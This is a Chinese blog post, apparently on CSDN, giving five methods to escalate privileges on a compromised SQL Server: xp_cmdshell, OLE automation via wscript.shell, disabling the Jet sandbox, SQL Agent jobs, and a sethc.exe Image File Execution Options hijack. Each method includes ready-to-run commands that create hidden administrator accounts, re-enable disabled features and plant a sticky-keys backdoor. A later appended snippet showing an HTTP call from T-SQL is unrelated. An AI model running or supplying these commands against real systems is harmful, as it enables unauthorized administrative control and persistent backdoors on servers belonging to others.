mysql 2008提权_通过Mssql提权的几种姿势

本文记录针对SQL Server数据库,在拿到shell之后进行提权的5种方法。

一、 xp_cmdshell提权

f856e12a5209efd1baad1d000ce7cb1c.png

上面的数据库连接需要知道sa的密码,连接之后,在下面的sql命令处执行:

exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'

就能成功的创建一个账户aaa并且加到管理员组:

ea922f6778f9ab420f00c2d3e79a6fc9.png

常见问题:

如果执行sql语句不成功,首先检查判断xp_cmdshell是否存在:

select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;

b474ef129805bc0e8f99628c2a3afcac.png

返回1是存在的,返回0则需要通过xplog70.dll恢复。

然后需要开启xp_cmdshell

EXEC sp_configure 'show advanced options', 1 ;

Reconfigure;

EXEC sp_configure 'xp_cmdshell', 1 ; --开启xp_cmdshell,如果关闭,需要将这里的1改为"0"

RECONFIGURE ; --以上命令开启用xp_cmdshell

这四条语句一起执行,然后语句中间没有空格,执行后可启用。

二、sp_oacreate和sp_oamethod提权

declare @cmd INT;

exec sp_oacreate 'wscript.shell',@cmd output;

exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';

exec sp_oacreate 'wscript.shell',@cmd output;

exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';

以上语句也是在sql一起执行,语句中间没有空格,但是执行可能会遇到问题:

34ae809b9d95907e6b0fb9b2a3cfde77.png

我们需要开启存储过程:

exec sp_configure 'show advanced options', 1;

RECONFIGURE;

exec sp_configure 'Ole Automation Procedures',1;

RECONFIGURE;

7f51bfedf88fa4d5c61a5323408acbb8.png

以上语句也是在sql一起执行,语句中间没有空格,如果存储过程删除的话需要利用odsole70.dll恢复存储过程再执行。

这样我们执行上面的语句之后就会创建一个hack的账户,并加到管理员组:

8b7baee291b53d0a5fb435ef4bc32129.png

三、沙盒提权

这种提权是利用access的沙盒机制,关闭沙盒之后执行代码。

首先用xp_regwrite这个存储这个存储过程对注册表进行写操作,关闭沙盒模式:

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

6c42c22bfd152b28acbdc34c063d2dfd.png

然后利用sql语句添加一个帐号和密码都为sql$的帐号,同时加入管理员组进行提权:

创建账户:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');

e887463d8b495fef56ddce305215ce9d.png

添加到管理员组:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

b7f88adbd6f293e03f18bca00d193e31.png

然后就创建了账户:

4c55545b259d69368573d2b5fa607e9e.png

遇到的问题:

SQL2005默认是禁用Ad Hoc Distributed,执行命令时,会提示错误。需要开启

exec sp_configure 'show advanced options',1 ;

reconfigure ;

exec sp_configure 'Ad Hoc Distributed Queries',1 ;

reconfigure;

daf32f7457a927a52f3c9fcf9d02800e.png

四、JOB提权

原理是创建一个任务x,并执行命令,命令执行后的结果,将返回给文档q.txt

首先需要启动sqlagent服务:

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

b986fbf6ab08957a517755a1b7280015.png

然后创建任务X,这里x为任务名称,并执行命令,命令执行后的结果,将返回给文本文档q.txt

use msdb

exec sp_delete_job null,'x'

exec sp_add_job 'x'

exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'

exec sp_add_jobserver null,'x',@@servername

exec sp_start_job 'x';

ca74f6894c9d7efbae14de6d73f15acc.png

然后就可以看到已经创建了一个hack1的账户并加到了管理员组:

2dfb7d9e5035b6ed695acfcf6ebd51c5.png

五、利用映像劫持提权

利用regwrite函数修改注册表,起到劫持作用:

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

c2b888230696e3c7877efc16eea35787.png

然后检查是否劫持成功

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

09c26b433296036a41b427bd81d36a61.png

返回没有问题 利用远程连接然后5次shift键,发现没有启动粘滞键,而是启动了cmd,然后就可以创建用户了

65ceb62dd90e9c3dba9c998a6b825969.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DECLARE @Object int; DECLARE @HR int; DECLARE @Property nvarchar(255); DECLARE @Return nvarchar(255); DECLARE @Source nvarchar(255), @Desc nvarchar(255); DECLARE @httpStatus int; DECLARE @response varchar(8000); --创建 OLE 对象的实例 EXEC @HR = sp_OACreate N'MSXML2.XMLHTTP.6.0',@Object OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Error Creating COM Component 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO END_ROUTINE END BEGIN --Open EXEC @HR = sp_OAMethod @Object,N'open',Null,'GET','http://localhost:1728/HttpServer/submit.aspx',FALSE; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Open 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --setRequestHeader EXEC @HR = sp_OAMethod @Object,N'setRequestHeader',Null,'Content-Type','text/xml'; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('setRequestHeader 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --send EXEC @HR = sp_OAMethod @Object,N'send',Null,''; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('send 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --readyState EXEC @HR = sp_OAGetProperty @Object,'readyState', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('readyState 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 4 BEGIN RAISERROR('readyState http status bad', 16,1) GOTO CLEANUP END --status EXEC @HR = sp_OAGetProperty @Object,'status', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('getstatus 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 200 BEGIN Print Cast(@httpStatus As varchar) RAISERROR('Open http status bad', 16,1) GOTO CLEANUP END --responseText EXEC @HR = sp_OAGetProperty @Object, 'responseText', @response OUT IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('responseText 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END Print @response END CLEANUP: BEGIN EXEC @HR = sp_OADestroy @Object; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; SELECT HR = convert(varbinary(4),@HR),Source=@Source,Description=@Desc; END END END_ROUTINE: RETURN; GO

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值